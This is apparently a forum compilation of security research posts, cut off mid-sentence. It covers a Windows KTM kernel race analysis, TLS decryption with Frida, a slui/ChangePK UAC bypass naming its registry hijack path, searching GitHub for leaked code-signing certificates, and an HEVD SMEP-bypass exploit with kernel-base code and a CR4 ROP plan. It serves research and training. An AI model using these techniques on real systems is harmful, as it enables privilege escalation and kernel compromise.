skeleton code is actually functioning. When failing to win a race, it is best to be able to differentiate if it is because our trigger is incorrect due to a misunderstanding or if we are just not winning it yet due to inefficiency in the race. This approach also helps us investigate the post-race-win state, and helps examine approaches to detecting a race win once we stop using the artificial window. This can be worked out simultaneously by other people when one person is still trying to effectively win the race without "cheating". In order to force the window open, we patch TmRecoverResourceManager() in WinDbg to change the KeWaitForSingleObject() call below to be a tight loop. // Race starts here ObfDereferenceObject(ADJ(pEnlistment_shifted)); KeWaitForSingleObject(&pResMgr->Mutex, Executive, 0, 0, 0i64); Once this is patched, the recovery thread will be permanently hung, but other threads continue to do things. This gives us the opportunity to free the target enlistment in question, and also replace it. Note that this only works for us because it is extremely unlikely any other code on the system is using TmRecoverResourceManager(). If you need to try to win a race on more heavily used code it is better to just change the instruction pointer temporarily for the thread you are racing so that it points to an infinite loop. This way other threads that potentially need to legitimately use the buggy code won’t be impacted. How to free a _KENLISTMENT on demand? In order to trigger the use-after-free during the race window, we need to know how to free an _KENLISTMENT. Reversing shows that once an enlistment has been committed it becomes finalized, and after this point, once all object counter references go away, the _KENLISTMENT will be freed. From our analysis of TmRecoverResourceManager(), we know that one indication that an enlistment is pending free is the KENLISTMENT_FINALIZED flag being set. By searching through KTM related functions, we find the TmpFinalizeEnlistment() function. At first glance the xrefs graph to TmpFinalizeEnlistment() looks like spaghetti, but by taking a bit of time to look through, there are some obvious candidates. One function a little ways up the call chain is TmCommitComplete(). The TmCommitComplete() function is called by NtCommitComplete(), which we can call from userland. One of the easiest paths to the function we want to call is: NtCommitComplete() -> TmCommitComplete() -> TmpProcessNotificationResponse() -> TmpFinalizeEnlistment() We already looked at the TmpProcessNotificationResponse() code earlier. This function parses a few arrays of flags and starts by identifying if the transaction and current enlistment match one set of the corresponding states in the arrays. If so, then it will update the enlistment state flag. A separate array containing flags (which we call ShouldFinalizeFlag[]) indicate if, after the new enlistment state is set, it should also be finalized. In the case of TmCommitComplete() the ShouldFinalizeFlag flags are set, so TmpFinalizeEnlistment() will be called: if ( ShouldFinalizeFlag[i] == 1 || ShouldFinalizeFlag[i] == 2 && !(pEnlistment->Key & TRANSACTION_NOTIFY_COMMIT) ) TmpFinalizeEnlistment(pEnlistment); The TmpFinalizeEnlistment() function does a fair bit, but we’ll look at a few things: If the enlistment is already finalized, it doesn’t re-finalize it: EnlistmentFlags = *(&pEnlistment->NotificationMask + 1); if ( EnlistmentFlags & KENLISTMENT_FINALIZED ) return 0i64; [...] Next we see the following code. It removes the association of the enlistment being finalized from the resource manager. As we recall, if the TmRecoverResourceManager() function is somehow permanently blocked on the KeWaitForSingleObject(&pRm->Mutex) call itself in the recovery thread, the TmpFinalizeEnlistment() call on another thread could succeed. // Acquire the resource manager's mutex so we can deal with _KRESOURCEMANAGER.EnlistmentHead == _KENLISTMENT.NextSameRm KeWaitForSingleObject(&pRM->Mutex, Executive, 0, 0, 0i64); TmpRemoveTransactionEnlistmentCounts(pEnlistment); [...] TmpRemoveEnlistmentResourceManager(pEnlistment); This answers an earlier question, which is that removing the enlistment is indeed predicated on locking the resource manager’s mutex. Next, as detailed in code excerpt below, there are two calls that reduce the refcount of the enlistment. These correspond to references from the linked lists that the enlistment was just removed from. Finally, the third ObfDereferenceObject() call actually matches the original refcount added when creating the structure in the first place. ObfDereferenceObject(pEnlistment); ObfDereferenceObject(pEnlistment); [...] KeReleaseMutex(&pRM->Mutex, 0); TmpReleaseTransactionMutex(pTransaction); KeWaitForSingleObject((&pEnlistment->Mutex + 8), Executive, 0, 0, 0i64); ObfDereferenceObject(pEnlistment); return 0i64; At this point, the enlistment refcount should be 1, and that is because the userland exploit still holds the opened handle to the enlistment. Following the finalization call, closing the enlistment handle from userland should be enough to make the refcount reach 0. To summarize, the most important thing to realize about TmpFinalizeEnlistment() is that it decrements the _KENLISTMENT‘s refcount an additional time, to offset the original refcount during creation. As a result, once other functions have also decremented the refcount and the refcount reaches zero, then the _KENLISTMENT will finally be freed. Now let’s recall that TmRecoverResourceManager() also calls ObfDereferenceObject(pEnlistment), which means that the finalization process, in addition to closing the enlistment handle from userland, will actually free the _KENLISTMENT object. So all of that is a long way to to say: If we can identify which enlistment we want to free in order to trigger a use-after-free, we must simply call CommitComplete() on that enlistment and then use CloseHandle to close the associated enlistment handle. That will trigger a free of the _KENLISTMENT object. Confirming our understanding In order to confirm our mental model, we enable Verifier to be able to catch a crash as soon as non-valid memory is touched. We set a breakpoint in TmRecoverResourceManager(). When the breakpoint hits, we install the patch for simulating the mutex congestion. Note that we wrote a simple JavaScrit script for WinDbg Preview to test this (adding !patch and !unpatch commands): 0: kd> !patch __installPatch Setting breakpoint and patching mutex code @$patch() Then we continue execution. Now everything hangs on the VM side and our userland exploit skeleton does not exit due to the recovery thread being in an infinite loop. So we break in WinDbg, remove the patch and restore execution: 1: kd> !unpatch __uninstallPatch Removing breakpoint for patching mutex and restoring old code. @$unpatch() 1: kd> g We hit the following crash: rax=0000000000000000 rbx=fffff98026e1edd8 rcx=fffff9801a4b2e58 rdx=fffff98026e1edf0 rsi=fffff980277fce20 rdi=0000000000000000 rip=fffff80002d2eac1 rsp=fffff88005d4a9d0 rbp=fffff88005d4ab60 r8=fffff78000000008 r9=0000000000000000 r10=0000000000000000 r11=fffff80002bf1180 r12=fffff98026e1edb0 r13=fffff98026e1eec0 r14=0000000000000000 r15=0000000000000100 iopl=0 nv up ei pl nz na pe cy cs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00010303 nt!TmRecoverResourceManager+0x129: fffff800`02d2eac1 f6472404 test byte ptr [rdi+24h],4 ds:002b:00000000`00000024=?? 0: kd> r rdi Last set context: rdi=0000000000000000 0: kd> k *** Stack trace for last set context - .thread/.cxr resets it # Child-SP RetAddr Call Site 00 fffff880`05d4a9d0 fffff800`02d4bf49 nt!TmRecoverResourceManager+0x129 01 fffff880`05d4aa90 fffff800`02aae9d3 nt!NtRecoverResourceManager+0x51 02 fffff880`05d4aae0 00000000`778cabea nt!KiSystemServiceCopyEnd+0x13 03 00000000`0020a568 000007fe`fa4b219d ntdll!ZwRecoverResourceManager+0xa 04 00000000`0020a570 00000000`ff396d7b ktmw32!RecoverResourceManager+0x9 This corresponds to beginning of the loop, indicating the enlistment was freed in the previous iteration of the loop, a stale pointer was copied to pEnlistment_shifted at [1] and the use-after-free happened at [2]: pEnlistment_shifted = EnlistmentHead_addr->Flink; while ( pEnlistment_shifted != EnlistmentHead_addr ) { [2] if ( ADJ(pEnlistment_shifted)->Flags & KENLISTMENT_FINALIZED ) // crash here { ... if ( bEnlistmentIsFinalized ) { pEnlistment_shifted = EnlistmentHead_addr->Flink; bEnlistmentIsFinalized = 0; } else { [1] pEnlistment_shifted = ADJ(pEnlistment_shifted)->NextSameRm.Flink; } } } Conclusion We’ve now presented a detailed analysis of the CVE-2018-9611 vulnerability, and our understandings of the prerequisites of constructing an enlistment that allows us to reach the vulnerable code. We also now know how to free an enlistment on demand, and how to force our race window open to let us confirm an enlistment can actually be freed and reused at the next iteration of the loop. Our next blog will discuss how to identify which enlistment is the best candidate to free and how to win the race without forcing the race window open. Sursa: https://research.nccgroup.com/2020/05/04/cve-2018-8611-exploiting-windows-ktm-part-2-5-patch-analysis-and-basic-triggering/

DECRYPTING AND ANALYZING HTTPS TRAFFIC WITHOUT MITM May 4, 2020 Author: dnet Sniffing plaintext network traffic between apps and their backend APIs is an important step for pentesters to learn about how they interact. In this blog post, we’ll introduce a method to simplify getting our hands on plaintext messages sent between apps ran on our attacker-controlled devices and the API, and in case of HTTPS, shoveling these requests and responses into Burp for further analysis by combining existing tools and introducing a new plugin we developed. So our approach is less of a novel attack and more of an improvement on current techniques. Of course, nowadays, most of these channels are secured using TLS, which provides encryption, integrity protection and authenticates one or both ends of the figurative tube. In many cases, the best method to overcome this limitation is man-in-the-middle (MITM), where a special program intercepts packets and acts as a server to the client and vice versa. For well-written applications, this doesn’t work out-of-the-box, and it all depends on the circumstances, how many steps must be taken to weaken the security of the testing environment for this attack to work. It started with adding MITM CA certificates to OS stores, recent operating systems require more and more obscure confirmations and certificate pinning is gaining momentum. Latter can get to a point, where there’s a big cliff: either you can defeat it with automated tools like Objection or it becomes a daunting task, where you know that it’s doable but it’s frustratingly difficult to actually do it. And then there are the cases from the second sentence of this post, where both ends perform authentication, and since the server is the one presenting the certificate most of the time, we usually refer to it as client certificate authentication, since that’s the “exception” to the rule. In such scenarios, since the end-to-end TLS is split into two, the legitimate client authenticates to the MITM server, yet the MITM client also needs to present a certificate to the legitimate server. For this, the certificate and its private key must be extracted from the app, which, similarly to the aforementioned certificate pinning can be either done quick and easy (when it’s in a PEM file) or it can lead to hours of frustrated reverse engineering. Around this point is where some start thinking: do we really need to perform man-in-the-middle? Of course, MITM has its bright sides: modifying the plain text traffic on-the-fly is easy to implement, adding a match-and-replace rule to Burp to switch X-Jailbroken: true to false just works. On the other hand, if there are this many problems and all we need is reading the plaintext traffic, there are better solutions out there. It’s just that MITM worked so well for so long, that it’s the first thing that comes to mind; sometimes even if it’s not the best fit for the problem. It’s obvious why we can read plaintext from TLS in a MITM scenario. But what do we really need to decrypt plaintext if we let the app speak directly to the API? Old-timers might remember Wireshark having the option to decrypt SSL/TLS when given the private key to the server certificate. This has two problems, one inherent to pentest projects, another related to the year being 2020. The former problem comes from the fact that in most pentest projects, you don’t get the private key of the server, for multiple reasons. But even if you’d get it, the latter problem is that RSA-based key exchanges, where secrets are being encrypted using the public key from the server certificate are being phased out in favor of ephemeral solutions like traditional (DLP-based) and elliptic curve (EC) Diffie-Hellman (DH). The reason, of course, is exactly why this approach against RSA key exchange would work, as real-world attackers could just as easily collect TLS traffic and compromise private keys later, hence modern implementations preferring key exchange algorithms with Perfect Forward Secrecy (PFS). However, there’s another way: cryptographic keys in a TLS session are derived from a (Pre-)Master Secret, which is present at both ends of the secure channel. And since we control one end of that, it can be used to get plaintext from TLS traffic. Fortunately, Wireshark supports this way as well, by specifying a file that has these secrets in a specific format. The best part is that this file is read continuously by Wireshark, so live network traffic can be decrypted in real-time if the file is also written as soon as those secrets are available. Since it’s not a part everyone might visit every day in Wireshark, below is an illustrated guide that takes you to the precious input field that lets you specify the SSL key log file. Browsers like Mozilla Firefox have a setting to dump such a file for debug purposes. In case of Android apps, there’s a great project called frida-sslkeylog by Saleem Rashid that uses Frida to hook the appropriate OpenSSL (or BoringSSL) functions to extract the secrets real-time from the running app. For this, the only requirement on the device side is to have Frida available; this can be done by installing it on a rooted Android following the official docs. If the app has issues running on rooted devices or there’s another reason to avoid the above method, there’s an alternative method of injecting the Frida Gadget into the app, thus it runs within the same process, avoiding the need for root. The easiest way to do this is by using the patchapk command of Objection. This gives us a nice decrypted traffic in Wireshark, which is already useful, but for us, this was only the beginning. If we wanted to use this information to test the API itself, we needed a way to get these request-response pairs into Burp to use its tools such as Repeater, Scanner, and Intruder. To sum up what I wanted (and in the end managed) to do, here’s a diagram: Learning from my mistakes and the wisdom of my colleague PZ, I searched for an existing solution, but the only reasonable one was Pcap Importer, which worked on the PCAP level, thus supported plain HTTP only. What I needed was a way to get the high-level, pre-processed information such as decrypted HTTP (ex-HTTPS) requests into Burp. Fortunately, I remembered using PDML for other, previous network protocol reverse engineering projects of mine. PDML is an XML-based structured export format of Wireshark which contains all the parsed information that’s also available within the GUI as part of the tree structure in the bottom panel. By consuming this format, most of the work is done by Wireshark, such as detecting HTTP messages and correlating requests and responses, parsing URLs. Since I already wrote a Burp extension to parse CFURL caches (we have a blog post about that as well), most of the boring stuff could be copy-pasted from there, such as having a UI with a load button, an open file dialog, a message list, and the standard Message Editor controls of Burp, all tied together. Parsing seemed a bit difficult in the beginning, but as it turned out, the useful parts were found in two places: Attributes called show contained parsed strings, such as integers like request-response correlation info, response code or processed strings like the URL or the HTTP method. These were used for metadata and UI strings. Attributes called value contained raw (but plaintext) bytes encoded using hexadecimal digits, request and response bodies were reconstructed from these. The last big hurdle was performance; these PDML files got huge quickly since they contained every bit of information about all the packets. Most people when confronted with XML parsing choose DOM since it parses the whole document into an in-memory tree that can be traversed in any random pattern, helped by tools such as XPath. However, in this case, this leads to huge latency for both the initial parsing and tree building phase and then traversing this structure. The logic was rewritten using a streaming (SAX) parser that fires events for every structural element, thus instead of an implicit tree, I could build a custom structure of my own that contained only the things I needed. In this case, this consisted of storing requests indexed by their packet number. When the response is found later, the request can be accessed in O(1) time, and added to the list of HTTP messages along with the response. This made things an order of magnitude faster. Our new Burp plugin called PDML importer is available in our GitHub repository under MIT license, pull requests are welcome. Thanks to Saleem Rashid for developing frida-sslkeylog, and Balázs Goldschmidt for explaining SAX parsers to me at the university 10 years ago, which came very handy to make the Burp plugin much faster. Below is a screenshot of the plugin in action, some values had been masked to protect the innocent. The number in parentheses on the left is the number of the packet in the original capture that the request was transmitted in so that it can be cross-referenced if needed. The exact timestamp also comes from packet capture metadata. Of course, this is not the only possible approach, and certainly not the best solution for every scenario, as there is no one-size-fits-all method. Thus it’s worth reading how others tackled similar issues: Péter Párkányi used tools built upon eBPF for decrypting Zoom traffic, which is a bit more low-level, requiring less resources, but limited to Linux, m1el injected a purpose-built DLL into the running process using CreateRemoteThread on Windows to reveal plaintext network traffic from Oculus, which is similar to what Frida does, but handcrafted for a single platform. Sursa: https://blog.silentsignal.eu/2020/05/04/decrypting-and-analyzing-https-traffic-without-mitm/

Privilege escalation (UAC bypass) in ChangePK Matt harr0ey Follow May 4 · 3 min read Introduction It’s been a long time since I decided to to be away from Twitter for a while for self-improvements reasons and finding valuable bugs. While I was away from Twitter I spent hard work on the basics of privilege escalation to be aware of it, after that I went through privilege escalation bugs and successfully found interesting one works on the most versions of windows XP/7/8/10/etc. in this article, I’ll write simple and very understandable words What is privilege escalation? Although I’m not pro at this but I’ll help as much as I can: Privilege escalation is a technique that helps attacker to gain high level of privilege from low privilege by some techniques like DLL hijacking, User account control bypass, etc. by the way, there are many techniques aren’t mentioned here, but you can find them in this website: https://attack.mitre.org/tactics/TA0004/ How does Slui UAC bypass work? There is a tool named ChangePK in System32 has a service that opens a window (for you) called Windows Activation in SystemSettings, this service makes it easy for you and other users to change an old windows activation key to a new one, the tool (ChangePK) doesn’t open itself with high privilege but there is another tool opens ChangePK with high privilege named sliu.exe. Let’s take a look at more details How does Slui.exe work? Slui doesn’t support a feature that runs it as administrator automatically, but we can do that manually by either clicking on slui with a right click and then click on “Run as administrator” or using this command: powershell.exe start-process slui.exe -verb runas How did I find the vulnerability? The tool I used to find the registry key to get a UAC bypass from slui.exe is Procmon. I put some filters in Procmon to find missing registry paths for Slui and I succeed in finding the right missing registry path, let’s take a look at it! After creating all the registry paths needed to get a Slui UAC bypass, I got the success word in Procmon, Look at this! Now It’s time to test the bug! Yay, It has worked like a charm. Have a fun! Hey guys, before going out this article, I want to acknowledge bytecode77 who has found a registry keynpath that allows attackers to gain high privilege; Although his method of UAC bypass is different from mine, but It’s not a problem (^_^). Bytecode77’s method is his registry path lead slui to be executed by HKCU\Software\Classes\exefile\shell while my method is very different from that… It leads slui to be executed by HKCU\Software\Classes\launcher.Systemsettings\Shell\open\command. That’s the first one different thing, the next one is that bytecode77’s registry key path The proof of concept: https://gist.github.com/homjxi0e/9174952b6535a13a2645978b8abfd541 Sursa: https://medium.com/@mattharr0ey/privilege-escalation-uac-bypass-in-changepk-c40b92818d1b

Code Signing on a Budget Mon 04 May 2020 Summary: This post goes over how attackers could use search engines to find and abuse legitimate code-signing certificates. With this technique, I was able to find a valid code-signing certificate belonging to a leading tech company and disclosed it to them. This isn't particularly novel but I'm writing this to raise defensive awareness that abusing code-signing certificates is not limited to well-resourced attackers. Background Stuxnet was known for signing its malware with legitimate certificates stolen from two Taiwanese semiconductor companies (both of which happened to be headquartered in the same industrial park). Signing the malware certainly didn't make it any safer, but it helped systems establish trust. Some security products may overlook signed binaries as part of their heuristics, and Office products can be configured to allow signed macros. This causes a substantial breach of trust because certificates are supposed to assure users and systems that the software was developed by the organization named in the certificate and that it hasn't been modified by anyone else. There a few ways to obtain certificates while concealing one's identity: Falsify Requirements, which involves mimicking legitimate companies. This can get more difficult depending on the certificate authority. Cryptographic Attacks, as was done with Flame which forged Microsoft signatures or the "CurveBall" vulnerability (CVE-2020-0601) in the Windows CryptoAPI system. This type of attack is usually expensive to develop and prohibitive to most attackers. Compromised Certificate Authorities, which appears to have become more prevalent according to researchers from Masaryk University and Maryland Cybersecurity Center. Stealing from Legitimate Organizations, which could involve operations to infiltrate enterprises, pivot to where they are being safeguarded and perform extraction. Code Search Technique Certificate extraction missions from internal corporate networks have been popularized, but are not necessary if an attacker is looking to just get any valid certificate they can use for a period of time. To that end, attackers can take advantage of the fact that valid certificates tend to be inadvertently committed to public repositories from time to time. Using GitHub as an example, one way to find Authenticode certificates could involve: Searching across all repositories for "signtool", sorting by recently indexed. Filtering for repositories that contain PFX or P12 files. Filtering further for signtool command lines using a hardcoded password (/p option). Further optimizations and variations could be made. Using the API could automate this process to a degree, or at least make it easier to sift through a shortlist of candidate repos. That said, even with the growing scale of content to sift through, finding a valid certificate is still rare. Using the technique above, I was able to find a certificate issued to a leading OEM company which was still valid at the time. It appeared to be on a user's personal account. I reported the issue to their security team and the offending repository was quickly removed. Disclosure Timeline 2020-04-23: Reported issue and received acknowledgement. 2020-04-24: Offending repository was removed and received confirmation. Conclusion Although an attacker using this technique won't get their pick of the litter, finding at least one valid certificate should be enough for many use cases. The process is repeatable and the cost is low. There isn't a perfect search query to find all certificates, which also means there isn't a perfect defence against this problem. As some certificates get removed or revoked, others will inevitably surface over time. Responsible organizations should continue to be proactive in safeguarding their certificates, and should also consider options for monitoring abuse. Thank you to @MastemaSec, @JT_InfoSec, Geoff H., and Lincoln for their reviews and feedback. References Issued for Abuse: Measuring the Underground Trade in Code Signing Certificates What Is Code-Signed Malware and How Do You Avoid It? @Jackson_T Sursa: http://jackson-t.ca/certificate-theft.html

Disclosure Note CVE-2019-0717: Hyper-V vmswitch.sys Out of Bounds Read DoS Vulnerability I found this bug in 2018 with a custom fuzzer that I wrote as part of the initial reconnaissance of Microsoft Hyper-V architecture and attack vectors. This is a Tier 1 [host OS kernel] vulnerability per the Microsoft's taxonomy, that qualifies for a $50K bounty via the Microsoft Azure Bounty Program. Credits Vulnerability discovery and analysis, Proof-of-concept: Alisa Esage [0days.engineer] Sura: https://github.com/badd1e/Disclosures/tree/master/CVE-2019-0717_Hyper-V

Beginner RE and Cryptanalysis with cutter Posted byPukar Giri3rd May 2020 1 Commenton Beginner RE and Cryptanalysis with cutter This time Around we will be solving the MalwareTech’s Ransomware Challenge it is one of the easiest challenge but however it will be an exercise on reverse engineering and cryptanalysis .We will be using opensource tools cutter as far as possible for reverse engineering. I have previously done a detailed tutorial on solving the VM challenge by MalwareTech check it out HERE. so the challenge description for this challenge is : Seems like we have a windows ransomware sample on our hand but written by skid?? we will see why the author says that further down the line on cryptanalysis section. Reverse Engineering the binary. now lets start our analysis by loading the binary in cutter and doing the normal analysis and check out the functions listings. we can see here that there are only two actual functions and two are imports from ntdll. now as always it is always good idea to start from entry0 if no function is labeled as main. lets check the assembly listing of the entry0 function. so looking at the assembly listing we can see in first two instructions it is setting up the stackframe the next instruction does not subtract anything from esp that means no space is reserved on the stack for local variables that means that this function does not use any local variables. The next 3 instructions are interesting it is pushing the value 0 twice and then calling section..text ?? why would the section be called?? actually its not the section being called but a function whose start coincides with the start of the section.we can double click on the symbol section..text to verify that . it indeed takes us to the function fcn.00401000 . These three lines in reality just called function fcn.00401000 as fcn.00401000(0,0); and then in very next instruction it is adding 8 to esp, this tells us that the caller is clearing up argument from the stack which indicates the calling convention used here is cdecl. In next two instructions it is again pushing 0 and calling the ExitProcess which just exits the program returning 0. The next instruction pops ebp back from the stack to restore the previous stack frame and then the ret is executed to return. however these last two instructions are dead code since the execution never reaches here. So the entry 0 function can be decompiled as: entry0() { fcn.00401000(0,0); ExitProcess(0); } since we already know what exit process does the only piece of puzzle remaining to be solved is the function fcn.00401000 lets jump into it and take a look at its assembly listing. The first two instructions as usual set up the stack frame and the next two instruction is used to call chkstk with the value 4380(0x111c) . checking msdn documentation for chkstk we see it is used by the compiler to save a stack size greater than 4KB. now in next instruction it moves the pointer to the filename into eax and pushes it . it then pushes the pointer to the format string and then pushes the value 260(0x104) and also pushes the pointer var_108h into the stack and calls the function snprintf which is used to make a string according to the format string and instead of displaying it like printf it saves it into the var_108 buffer. so this whole code takes the filename and prepares a new filename by appending “_encrypted” to the end of it.The next string clears the 16 bytes from stack according to cdecl calling convention. The code then goes on to push a few constants (flags) into the stacks and also pushes the name of the original file and call create file which creates a handle to the file with given filename/path. and again the same is repeated for the file with the new name which was prepared earlier.so hObject is handle to the old file and var_114h is the handle to the new file. Then it goes on to push some constants and pointer to buffer lpbuffer and calls the Readfile on original file with handle h0bject which then returns the no of bytes read into the lpNumberOfBytesWritten variable and the file content to lpBuffer.The value 4096(0x1000) is used to set the limit of data read to 4kb.for more info check documentation for ReadFile. The code than compares the return code with 1(boolean TRUE) to check if the read was successful if it wasnot it jumps to 0x401131 which will be discussed later. it then goes on to load 0 into the counter var_11ch and then jumps to location which compares the counter with the total number of bytes read from the file and if the counter is greater or equal it breaks out of the loop . this is typical for loop for(int var_111ch=0;var_111ch<lpNumberOfBytesWritten;var_111ch++) The code then loads the value of counter into eax and zeros out the edx and loads 32(0x20) into ecx and calls for divide that divides edx:eax and then the remainder in edx is added with the base address in argc which is then used retrieve a key byte. this is equivalent to argc[var_111ch%32] it then xors this key with the byte indexed by the count thus encrypting the content , which is equivalent to data[var_111ch]=data[var111ch]^argc[var_111ch%32] this is the main encryption logic in the routine the code then loops doing this for all the bytes read from the file and then goes on to push diffrent arguments to the stack and write this encrypted data to the new file by calling the WriteFile function. the code then checks if the total number of bytes read was equal to 4096 bytes ie 4kb if it was it jumps back to read the remaining data in iteration till all data is read thus encrypting all the data in the file. the code then pushes the handles of opened files and calls CloseHandle to close those file. it then restores the previous stack frame and then returns . the c++ equivalent of this routine would be int encrypt(char * filename, char * key) { char databuffer[4096]; char newname[206]; int nobytesread; snprintf(newname,206,"%s_encrypted",filename); handle old=CreateFileA(filename,WRITE_OWNER,0,0,OPEN_EXISTING,0x80,0); handle new=CreateFileA(newname,WRITE_DAC,0,0,CREATE_ALWAYS,0x80,0); do{ ReadFile(old,data,4096,&nobytesread,NULL); for(int count=0;count<=nobytesread;++count) { data[count]=data[count]^key[count%32]; } WriteFile(new,data,&nobyteread,&nobytesread,NULL); }while(nobytesread==4096); CloseHandle(new); CloseHandle(old); return; } at this point we know all about how the given binary works but we still cannot decrypt the files provided because we do not have the key. but from above code we can see that the key index loops back after 32 bytes due to the modular division but we donot have that 32 bytes long key sequence. Lets do some cryptanalysis to find the key: Cryptanalysis looking at the files provided we can see that we have one encrypted text file flag.txt_encrypted and also few encrypted sample pictures.but still we do not have the key but we know that the xor encryption scheme is perfectly secure if the key is as long as the data to be encrypted but in our case it is not . looking at the sample pictures these are the default sample pictures that come with win7 hence we know what the data was before encryption. so we know both cipher text and plaintext so this encryption can be cryptanalysed using Known PlainText Attack since we know cyphertext=plaintext^key which also means that key=plaintext^ciphertext so we can write a simple python script to automate above logic and find us the keystring. Note: if you are not on win7 or do not have the chrysanthemum.jpg you can download from the internet archive here Also you can use any file here i choose chrysanthemum. Once we get the key array we can decrypt the files using the same logic as the malware used to encrypt the files. we can automate this by writing simple python script as: running this script we can successfuly decrypt the flag and the flag turns out to be FLAG{XOR-MAKES-KNOWN-PLAINTEXT-AND-FREQUENCY-ANALYSIS-EASY} follow me on twitter at @daring_joker for updates on new tutorials. References and Links Pukar Giri(Me) @daring_joker Marcus Hutchins [malware analyst,a cyber hero and writer of this challenge ] @MalwareTechBlogs Cutter [ one of best Opensource Reversing tools] Assembly-reference [cutter plugin for beginning reverse engineers] Sursa: https://daringjoker.wordpress.com/2020/05/03/chransomware1/

HEVD Exploits – Windows 10 x64 Stack Overflow SMEP Bypass 14 minute read Introduction This is going to be my last HEVD blog post. This was all of the exploits I wanted to hit when I started this goal in late January. We did quite a few, there are some definitely interesting ones left on the table and there is all of the Linux exploits as well. I’ll speak more about future posts in a future post (haha). I used Hacksys Extreme Vulnerable Driver 2.0 and Windows 10 Build 14393.rs1_release.160715-1616 for this exploit. Some of the newer Windows 10 builds were bugchecking this technique. All of the exploit code can be found here. Thanks To @Cneelis for having such great shellcode in his similar exploit on a different Windows 10 build here: https://github.com/Cn33liz/HSEVD-StackOverflowX64/blob/master/HS-StackOverflowX64/HS-StackOverflowX64.c To @abatchy17 for his awesome blog post on his SMEP bypass here: https://www.abatchy.com/2018/01/kernel-exploitation-4 To @ihack4falafel for helping me figure out where to return to after running my shellcode. And as this is the last HEVD blog post, thanks to everyone who got me this far. As I’ve said every post so far, nothing I was doing is my own idea or technique, was simply recreating their exploits (or at least trying to) in order to learn more about the bug classes and learn more about the Windows kernel. (More thoughts on this later in a future blog post). SMEP We’ve already completed a Stack Overflow exploit for HEVD on Windows 7 x64 here; however, the problem is that starting with Windows 8, Microsoft implemented a new mitigation by default called Supervisor Mode Execution Prevention (SMEP). SMEP detects kernel mode code running in userspace stops us from being able to hijack execution in the kernel and send it to our shellcode pointer residing in userspace. Bypassing SMEP Taking my cues from Abatchy, I decided to try and bypass SMEP by using a well-known ROP chain technique that utilizes segments of code in the kernel to disable SMEP and then heads to user space to call our shellcode. In the linked material above, you see that the CR4 register is responsible for enforcing this protection and if we look at Wikipedia, we can get a complete breakdown of CR4 and what its responsibilities are: 20 SMEP Supervisor Mode Execution Protection Enable If set, execution of code in a higher ring generates a fault. So the 20th bit of the CR4 indicates whether or not SMEP is enforced. Since this vulnerability we’re attacking gives us the ability to overwrite the stack, we’re going to utilize a ROP chain consisting only of kernel space gadgets to disable SMEP by placing a new value in CR4 and then hit our shellcode in userspace. Getting Kernel Base Address The first thing we want to do, is to get the base address of the kernel. If we don’t get the base address, we can’t figure out what the offsets are to our gadgets that we want to use to bypass ASLR. In WinDBG, you can simply run lm sm to list all loaded kernel modules alphabetically: ---SNIP--- fffff800`10c7b000 fffff800`1149b000 nt ---SNIP--- We need a way also to get this address in our exploit code. For this part, I leaned heavily on code I was able to find by doing google searches with some syntax like: site:github.com NtQuerySystemInformation and seeing what I could find. Luckily, I was able to find a lot of code that met my needs perfectly. Unfortunately, on Windows 10 in order to use this API your process requires some level of elevation. But, I had already used the API previously and was quite fond of it for giving me so much trouble the first time I used it to get the kernel base address and wanted to use it again but this time in C++ instead of Python. Using a lot of the tricks that I learned from @tekwizz123’s HEVD exploits, I was able to get the API exported to my exploit code and was able to use it effectively. I won’t go too much into the code here, but this is the function and the typedefs it references to retrieve the base address to the kernel for us: typedef struct SYSTEM_MODULE { ULONG Reserved1; ULONG Reserved2; ULONG Reserved3; PVOID ImageBaseAddress; ULONG ImageSize; ULONG Flags; WORD Id; WORD Rank; WORD LoadCount; WORD NameOffset; CHAR Name[256]; }SYSTEM_MODULE, * PSYSTEM_MODULE; typedef struct SYSTEM_MODULE_INFORMATION { ULONG ModulesCount; SYSTEM_MODULE Modules[1]; } SYSTEM_MODULE_INFORMATION, * PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 0xb } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS(WINAPI* PNtQuerySystemInformation)( __in SYSTEM_INFORMATION_CLASS SystemInformationClass, __inout PVOID SystemInformation, __in ULONG SystemInformationLength, __out_opt PULONG ReturnLength ); INT64 get_kernel_base() { cout << "[>] Getting kernel base address..." << endl; //https://github.com/koczkatamas/CVE-2016-0051/blob/master/EoP/Shellcode/Shellcode.cpp //also using the same import technique that @tekwizz123 showed us PNtQuerySystemInformation NtQuerySystemInformation = (PNtQuerySystemInformation)GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { cout << "[!] Failed to get the address of NtQuerySystemInformation." << endl; cout << "[!] Last error " << GetLastError() << endl; exit(1); } ULONG len = 0; NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); PSYSTEM_MODULE_INFORMATION pModuleInfo = (PSYSTEM_MODULE_INFORMATION) VirtualAlloc(NULL, len, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE); NTSTATUS status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); if (status != (NTSTATUS)0x0) { cout << "[!] NtQuerySystemInformation failed!" << endl; exit(1); } PVOID kernelImageBase = pModuleInfo->Modules[0].ImageBaseAddress; cout << "[>] ntoskrnl.exe base address: 0x" << hex << kernelImageBase << endl; return (INT64)kernelImageBase; } This code imports NtQuerySystemInformation from nt.dll and allows us to use it with the System Module Information parameter which returns to us a nice struct of a ModulesCount (how many kernel modules are loaded) and an array of the Modules themselves which have a lot of struct members included a Name. In all my research I couldn’t find an example where the kernel image wasn’t index value 0 so that’s what I’ve implemented here. You could use a lot of the cool string functions in C++ to easily get the base address of any kernel mode driver as long as you have the name of the .sys file. You could cast the Modules.Name member to a string and do a substring match routine to locate your desired driver as you iterate through the array and return the base address. So now that we have the base address figured out, we can move on to hunting the gadgets. Hunting Gadgets The value of these gadgets is that they reside in kernel space so SMEP can’t interfere here. We can place them directly on the stack and overwrite rip so that we are always executing the first gadget and then returning to the stack where our ROP chain resides without ever going into user space. (If you have a preferred method for gadget hunting in the kernel let me know, I tried to script some things up in WinDBG but didn’t get very far before I gave up after it was clear it was super inefficient.) Original work on the gadget locations as far as I know is located here: http://blog.ptsecurity.com/2012/09/bypassing-intel-smep-on-windows-8-x64.html Again, just following along with Abatchy’s blog, we can find Gadget 1 (actually the 2nd in our code) by locating a gadget that allows us to place a value into cr4 easily and then takes a ret soon after. Luckily for us, this gadget 